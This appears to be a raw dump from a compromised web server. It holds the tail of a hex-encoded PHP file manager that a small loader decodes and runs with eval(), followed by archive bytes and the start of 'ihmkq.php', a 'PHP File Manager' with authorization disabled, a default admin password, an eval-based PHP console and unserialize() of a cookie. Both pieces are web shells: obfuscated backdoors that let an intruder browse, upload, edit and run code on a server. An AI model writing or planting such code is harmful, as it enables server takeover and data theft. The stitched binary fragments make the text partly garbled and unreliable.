3703B3C623E534F465420203A3C2F623E203C3F706870206563686F20245F5345525645525B275345525645525F534F465457415245275D3B3F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E49502020266E6273703B266E6273703B3A3C2F623E203C3F3D20676574686F737462796E616D6528245F5345525645525B27485454505F484F5354275D29203F3E3C62723E0A202020203C62723E3C623E2623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231323C2F623E0A202020203C62723E3C62723E3C666F726D2069643D2275706C6F6164466F726D2220636C6173733D22616A6178466F726D22206D6574686F643D22504F5354223E0A20202020202020203C6C6162656C20666F723D2266696C65496E7075742220636C6173733D22637573746F6D2D66696C652D627574746F6E222069643D2266696C654C6162656C223E43686F6F73652046696C653C2F6C6162656C3E0A20202020202020203C696E70757420747970653D2266696C65222069643D2266696C65496E707574222072657175697265643E0A20202020202020203C696E70757420747970653D227375626D6974222076616C75653D2255706C6F6164223E0A202020203C2F666F726D3E0A0A202020203C62723E3C6469762069643D2262726561646372756D62436F6E7461696E6572223E0A202020203C3F7068700A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020206563686F2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29206563686F20273266273B0A20202020202020207D0A20202020202020206563686F2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020203F3E0A3C2F6469763E3C62723E0A3C6469762069643D22616374696F6E436F6E7461696E6572223E3C2F6469763E3C62723E0A202020203C6469762069643D2266696C654C697374436F6E7461696E6572223E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A20202020202020203F3E0A20202020202020203C7461626C653E0A2020202020202020202020203C74686561643E0A202020202020202020202020202020203C74723E0A20202020202020202020202020202020202020203C74683E4E616D653C2F74683E0A20202020202020202020202020202020202020203C74683E53697A653C2F74683E0A20202020202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A202020202020202020202020202020203C2F74723E0A2020202020202020202020203C2F74686561643E0A2020202020202020202020203C74626F64793E0A2020202020202020202020203C3F7068700A202020202020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E3C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A202020202020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A202020202020202020202020202020206563686F20273C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A2020202020202020202020203F3E0A2020202020202020202020203C2F74626F64793E0A20202020202020203C2F7461626C653E0A202020203C2F6469763E0A3C2F6469763E0A0A3C64697620636C6173733D226E6F74696669636174696F6E222069643D226E6F74696669636174696F6E22207374796C653D22646973706C61793A6E6F6E653B223E3C2F6469763E0A0A3C7363726970743E0A2F2F2053686F77206E6F74696669636174696F6E20696E2074686520626F74746F6D206C65667420636F726E65723B206175746F2D6469736D6973732061667465722032207365636F6E64732E0A66756E6374696F6E2073686F774E6F74696669636174696F6E287374617475732C206D736729207B0A20202020766172206E6F746966203D20646F63756D656E742E676574456C656D656E744279496428276E6F74696669636174696F6E27293B0A202020206E6F7469662E636C6173734E616D65203D20276E6F74696669636174696F6E2027202B207374617475733B0A202020206E6F7469662E696E6E657254657874203D206D73673B0A202020206E6F7469662E7374796C652E646973706C6179203D2027626C6F636B273B0A2020202073657454696D656F75742866756E6374696F6E28297B206E6F7469662E7374796C652E646973706C6179203D20276E6F6E65273B207D2C2032303030293B0A7D0A0A66756E6374696F6E206C6F616442726561646372756D622829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D62726561646372756D62272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282762726561646372756D62436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A202020207D293B0A7D0A0A66756E6374696F6E206765745175657279506172616D286E616D6529207B0A20202020636F6E73742075726C506172616D73203D206E65772055524C536561726368506172616D732877696E646F772E6C6F636174696F6E2E736561726368293B0A2020202072657475726E2075726C506172616D732E676574286E616D65293B0A7D0A0A66756E6374696F6E206C6F616446696C654C6973742829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D31272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282766696C654C697374436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A2020202020202020617474616368416A61784576656E747328293B202F2F207265617474616368206576656E7473206166746572207570646174650A2020202020202020726573657446696C65496E7075744C6162656C28293B0A202020207D293B0A7D0A0A66756E6374696F6E20726573657446696C65496E7075744C6162656C2829207B0A20202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966286C6162656C29207B0A20202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A202020207D0A7D0A0A66756E6374696F6E20617474616368416A61784576656E74732829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844656C65746527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A61784564697427292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617852656E616D6527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A2020202020202020202020202E7468656E2868746D6C203D3E207B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A20202020202020202020202020202020617474616368416A6178466F726D28293B0A2020202020202020202020202020202061747461636843616E63656C4576656E7428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844697227292E666F72456163682866756E6374696F6E286C696E6B29207B0A202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A2020202020202020652E70726576656E7444656661756C7428293B0A202020202020202077696E646F772E686973746F72792E707573685374617465286E756C6C2C2027272C206C696E6B2E68726566293B0A20202020202020206C6F616446696C654C69737428293B20202F2F2052656C6F6164207468652066696C65206C6973740A20202020202020206C6F616442726561646372756D6228293B202F2F2052656C6F6164207468652062726561646372756D620A2020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020726573657446696C65496E70757428293B0A202020207D293B0A7D293B0A7D0A0A66756E6374696F6E20617474616368416A6178466F726D2829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A6178466F726D27292E666F72456163682866756E6374696F6E28666F726D29207B0A2020202020202020666F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128666F726D293B0A202020202020202020202020666574636828666F726D2E616374696F6E2C207B206D6574686F643A2027504F5354272C20626F64793A20666F726D446174612C20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A20202020202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A2020202020202020202020207D293B0A20202020202020207D293B0A202020207D293B0A7D0A0A66756E6374696F6E2061747461636843616E63656C4576656E742829207B0A202020207661722063616E63656C42746E203D20646F63756D656E742E676574456C656D656E7442794964282763616E63656C416374696F6E27293B0A2020202069662863616E63656C42746E29207B0A202020202020202063616E63656C42746E2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E2829207B0A202020202020202020202020646F63756D656E742E676574456C656D656E74427949642827616374696F6E436F6E7461696E657227292E696E6E657248544D4C203D2027273B0A202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020207D293B0A202020207D0A7D0A0A66756E6374696F6E20726573657446696C65496E7075742829207B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722066696C654C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966202866696C65496E70757429207B0A202020202020202066696C65496E7075742E76616C7565203D2022223B202F2F20436C65617220616E792073656C65637465642066696C650A202020207D0A202020206966202866696C654C6162656C29207B0A202020202020202066696C654C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B202F2F205265736574206C6162656C20746578740A202020207D0A7D0A0A646F63756D656E742E6164644576656E744C697374656E65722827444F4D436F6E74656E744C6F61646564272C2066756E6374696F6E2829207B0A20202020617474616368416A61784576656E747328293B0A202020207661722066696C65496E707574203D20646F63756D656E742E676574456C656D656E7442794964282766696C65496E70757427293B0A202020207661722075706C6F6164466F726D203D20646F63756D656E742E676574456C656D656E7442794964282775706C6F6164466F726D27293B0A0A2020202066696C65496E7075742E6164644576656E744C697374656E657228276368616E6765272C2066756E6374696F6E2829207B0A2020202020202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203E203029207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D2066696C65496E7075742E66696C65735B305D2E6E616D653B0A20202020202020207D20656C7365207B0A2020202020202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A20202020202020207D0A202020207D293B0A0A2020202069662875706C6F6164466F726D29207B0A202020202020202075706C6F6164466F726D2E6164644576656E744C697374656E657228277375626D6974272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A20202020202020202020202069662866696C65496E7075742E66696C65732E6C656E677468203D3D3D2030292072657475726E3B0A0A2020202020202020202020207661722066696C65203D2066696C65496E7075742E66696C65735B305D3B0A20202020202020202020202076617220726561646572203D206E65772046696C6552656164657228293B0A0A2020202020202020202020207265616465722E6F6E6C6F6164203D2066756E6374696F6E286576656E7429207B0A20202020202020202020202020202020766172206172726179427566666572203D206576656E742E7461726765742E726573756C743B0A20202020202020202020202020202020766172206279746573203D206E65772055696E74384172726179286172726179427566666572293B0A2020202020202020202020202020202076617220686578537472696E67203D2027273B0A20202020202020202020202020202020666F7220287661722069203D20303B2069203C2062797465732E6C656E6774683B20692B2B29207B0A2020202020202020202020202020202020202020686578537472696E67202B3D2062797465735B695D2E746F537472696E67283136292E706164537461727428322C20273027293B0A202020202020202020202020202020207D0A0A2020202020202020202020202020202076617220666F726D44617461203D206E657720466F726D4461746128293B0A20202020202020202020202020202020666F726D446174612E617070656E64282262656E6B796F222C2066696C652E6E616D65293B0A20202020202020202020202020202020666F726D446174612E617070656E64282264616B656A61222C20686578537472696E67293B0A0A2020202020202020202020202020202066657463682875706C6F6164466F726D2E616374696F6E207C7C2077696E646F772E6C6F636174696F6E2E687265662C207B0A20202020202020202020202020202020202020206D6574686F643A2027504F5354272C0A2020202020202020202020202020202020202020626F64793A20666F726D446174612C0A2020202020202020202020202020202020202020686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D0A202020202020202020202020202020207D290A202020202020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A202020202020202020202020202020202E7468656E2864617461203D3E207B0A202020202020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020202020202075706C6F6164466F726D2E726573657428293B0A2020202020202020202020202020202020202020726573657446696C65496E7075744C6162656C28293B0A20202020202020202020202020202020202020206C6F616446696C654C69737428293B0A202020202020202020202020202020207D293B0A2020202020202020202020207D3B0A0A2020202020202020202020207265616465722E72656164417341727261794275666665722866696C65293B0A20202020202020207D293B0A202020207D0A7D293B0A3C2F7363726970743E0A3C666F6F74657220636C6173733D226675746572223E0A0909090926636F70793B207A65696E686F726F626F73750A0909093C2F666F6F7465723E0A3C2F626F64793E0A3C2F68746D6C3E0A";$gstatic=binalar($list);return $gstatic;}}$hover=new plugin_binalar_eski();$letter=$hover->plugin_binalar_eskii();eval(jgkl().$letter);function jgkl(){}function binalar($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;}PK�jm\�0a�n�n�	ihmkq.phpnu�[���<?php
/**
 * PHP File Manager
 * A complete web-based file management solution
 */

// =============================================
// CONFIGURATION SECTION
// =============================================

// Basic Configuration
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$fm_version = '2.0';

// Supported Languages
$langs = array('en', 'ru', 'de', 'fr', 'ja', 'uk');
$default_language = 'en';
$detect_lang = true;

// Path Configuration
$path = empty($_REQUEST['path']) ? realpath('.') : realpath($_REQUEST['path']);
if (!$path) $path = realpath('.');
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));

// PHP Version Check
$phar_maybe = (version_compare(phpversion(), "5.3.0", "<")) ? true : false;

// Message Container
$msg = '';

// =============================================
// AUTHORIZATION CONFIGURATION
// =============================================

$authorization = '{
    "authorize": 0,
    "days_authorization": 30,
    "login": "admin",
    "password": "phpfm",
    "cookie_name": "fm_user",
    "script": ""
}';

$auth = json_decode($authorization, true);

// =============================================
// TRANSLATION SYSTEM
// =============================================

$translation = '{
    "id": "en",
    "File manager": "File Manager",
    "Login": "Login",
    "Password": "Password",
    "Enter": "Enter",
    "Language": "Language",
    "English": "English",
    "German": "German",
    "Russian": "Russian",
    "French": "French",
    "Ukrainian": "Ukrainian",
    "Settings": "Settings",
    "done": "done",
    "Error occurred": "Error occurred",
    "File updated": "File updated",
    "Back": "Back",
    "Edit": "Edit",
    "Submit": "Submit",
    "Cancel": "Cancel",
    "Rights": "Permissions",
    "Recursively": "Recursively",
    "Rename": "Rename",
    "Files uploaded": "Files uploaded",
    "Deleted": "Deleted",
    "Created": "Created",
    "Make directory": "Create Directory",
    "New file": "New File",
    "Select the file": "Select the file",
    "Upload": "Upload",
    "Hello": "Hello",
    "Quit": "Logout",
    "Filename": "Filename",
    "Size": "Size",
    "Date": "Date",
    "Manage": "Manage",
    "Show": "Show",
    "Download": "Download",
    "Delete": "Delete",
    "Are you sure you want to delete this directory (recursively)?": "Are you sure you want to delete this directory (recursively)?",
    "Are you sure you want to delete this file?": "Are you sure you want to delete this file?",
    "File selected": "File selected",
    "Compress": "Compress",
    "Archiving": "Archiving",
    "Task": "Task",
    "Reset settings": "Reset Settings",
    "Cookie": "Cookie",
    "Days": "Days",
    "Script": "Script",
    "Save": "Save",
    "Add": "Add",
    "Name": "Name",
    "Value": "Value",
    "templates": "templates",
    "Console": "Console",
    "Result": "Result",
    "Reset": "Reset",
    "Select": "Select",
    "Template": "Template",
    "Home": "Home",
    "Generation time": "Generation time",
    "Recursive search": "Recursive search",
    "Mask": "Mask",
    "Search": "Search",
    "Found in files": "Found in files",
    "Nothing founded": "Nothing found",
    "No file": "No file",
    "to": "to",
    "Archive": "Archive",
    "Mode is incorrect": "Mode is incorrect",
    "Directory is not readable": "Directory is not readable",
    "File already exists": "File already exists",
    "as folder": "as folder",
    "Cannot create directory": "Cannot create directory",
    "Cannot write to file": "Cannot write to file",
    "Size of file": "Size of file",
    "is incorrect": "is incorrect",
    "Invalid file descriptor": "Invalid file descriptor",
    "is not readable": "is not readable",
    "Cannot rename": "Cannot rename",
    "Error": "Error",
    "Authorization": "Authorization",
    "Restore file time after editing": "Restore file time after editing",
    "Show size of the folder": "Show folder size",
    "Show pictures": "Show images",
    "Show PHP version": "Show PHP version",
    "Show PHP ini": "Show PHP configuration",
    "Show generation time": "Show generation time",
    "Show PHP Console": "Show PHP Console",
    "Show SQL Console": "Show SQL Console",
    "Show Proxy": "Show Proxy",
    "Show xls": "Show Excel export",
    "Decompress": "Decompress",
    "no files": "no files",
    "Success": "Success"
}';

$lang = json_decode($translation, true);

// =============================================
// DEFAULT CONFIGURATION
// =============================================

$fm_default_config = array(
    'make_directory' => true,
    'new_file' => true,
    'upload_file' => true,
    'show_dir_size' => false,
    'show_img' => true,
    'show_php_ver' => true,
    'show_php_ini' => false,
    'show_gt' => true,
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => false,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
    'restore_time' => true,
    'fm_restore_time' => false,
);

// Load user configuration
if (empty($_COOKIE['fm_config'])) {
    $fm_config = $fm_default_config;
} else {
    $fm_config = unserialize($_COOKIE['fm_config']);
    if (!is_array($fm_config)) {
        $fm_config = $fm_default_config;
    }
}

// =============================================
// LANGUAGE DETECTION
// =============================================

// Change language from POST
if (isset($_POST['fm_lang'])) {
    setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}

$language = $default_language;

// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if (!empty($lang_priority)) {
        foreach ($lang_priority as $lang_arr) {
            $lng = explode(';', $lang_arr);
            $lng = substr($lng[0], 0, 2);
            if (in_array($lng, $langs)) {
                $language = $lng;
                break;
            }
        }
    }
}

// Use cookie language if set
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// =============================================
// CORE FUNCTIONS
// =============================================

/**
 * Translation function
 */
function __($text) {
    global $lang;
    return isset($lang[$text]) ? $lang[$text] : $text;
}

/**
 * Delete files and directories recursively
 */
function fm_del_files($file, $recursive = false) {
    if ($recursive && @is_dir($file)) {
        $els = fm_scan_dir($file, '', '', true);
        foreach ($els as $el) {
            if ($el != '.' && $el != '..') {
                fm_del_files($file . '/' . $el, true);
            }
        }
    }
    if (@is_dir($file)) {
        return rmdir($file);
    } else {
        return @unlink($file);
    }
}

/**
 * Get file permissions string
 */
function fm_rights_string($file, $if = false) {
    $perms = fileperms($file);
    $info = '';
    
    if (!$if) {
        if (($perms & 0xC000) == 0xC000) {
            $info = 's'; // Socket
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l'; // Symbolic Link
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-'; // Regular
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b'; // Block special
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd'; // Directory
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c'; // Character special
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p'; // FIFO pipe
        } else {
            $info = 'u'; // Unknown
        }
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

/**
 * Convert rights string to octal
 */
function fm_convert_rights($mode) {
    $mode = str_pad($mode, 9, '-');
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $mode = strtr($mode, $trans);
    $newmode = '0';
    $owner = (int)$mode[0] + (int)$mode[1] + (int)$mode[2];
    $group = (int)$mode[3] + (int)$mode[4] + (int)$mode[5];
    $world = (int)$mode[6] + (int)$mode[7] + (int)$mode[8];
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}

/**
 * Change file permissions
 */
function fm_chmod($file, $val, $rec = false) {
    $res = @chmod(realpath($file), $val);
    if (@is_dir($file) && $rec) {
        $els = fm_scan_dir($file);
        foreach ($els as $el) {
            $res = $res && fm_chmod($file . '/' . $el, $val, true);
        }
    }
    return $res;
}

/**
 * Download file
 */
function fm_download($file_name) {
    if (!empty($file_name) && file_exists($file_name)) {
        header("Content-Disposition: attachment; filename=" . basename($file_name));
        header("Content-Type: application/octet-stream");
        header("Content-Length: " . filesize($file_name));
        readfile($file_name);
        exit;
    } else {
        header('HTTP/1.0 404 Not Found', true, 404);
        exit;
    }
}

/**
 * Calculate directory size
 */
function fm_dir_size($f, $format = true) {
    if (is_file($f)) {
        $size = filesize($f);
    } else {
        $size = 0;
        $dh = opendir($f);
        while (($file = readdir($dh)) !== false) {
            if ($file == '.' || $file == '..') continue;
            $filepath = $f . '/' . $file;
            $size += is_file($filepath) ? filesize($filepath) : fm_dir_size($filepath, false);
        }
        closedir($dh);
    }
    
    if (!$format) return $size;
    
    if ($size == 0) return '0 bytes';
    $units = array('bytes', 'KB', 'MB', 'GB', 'TB');
    $i = floor(log($size, 1024));
    return round($size / pow(1024, $i), 2) . ' ' . $units[$i];
}

/**
 * Scan directory
 */
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
    $dir = array();
    if (!empty($exp)) {
        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    
    if (!empty($type) && $type !== 'all') {
        $func = 'is_' . $type;
    }
    
    if (@is_dir($directory)) {
        $fh = opendir($directory);
        while (false !== ($filename = readdir($fh))) {
            if (substr($filename, 0, 1) != '.' || $do_not_filter) {
                if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && 
                    (empty($exp) || preg_match($exp, $filename))) {
                    $dir[] = $filename;
                }
            }
        }
        closedir($fh);
        natsort($dir);
    }
    return $dir;
}

/**
 * Create navigation link
 */
function fm_link($get, $link, $name, $title = '') {
    if (empty($title)) $title = $name . ' ' . basename($link);
    return '&nbsp;&nbsp;<a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}

/**
 * Language selection form
 */
function fm_lang_form($current = 'en') {
    $languages = array(
        'en' => __('English'),
        'de' => __('German'),
        'ru' => __('Russian'),
        'fr' => __('French'),
        'uk' => __('Ukrainian')
    );
    
    $options = '';
    foreach ($languages as $code => $name) {
        $selected = ($current == $code) ? 'selected="selected"' : '';
        $options .= '<option value="' . $code . '" ' . $selected . '>' . $name . '</option>';
    }
    
    return '
    <form name="change_lang" method="post" action="">
        <select name="fm_lang" title="' . __('Language') . '" onchange="this.form.submit()">
            ' . $options . '
        </select>
    </form>';
}

/**
 * Check if directory is root
 */
function fm_root($dirname) {
    return ($dirname == '.' || $dirname == '..');
}

/**
 * Execute PHP code
 */
function fm_php($string) {
    $display_errors = ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}

/**
 * SQL Connection
 */
function fm_sql_connect() {
    global $fm_config;
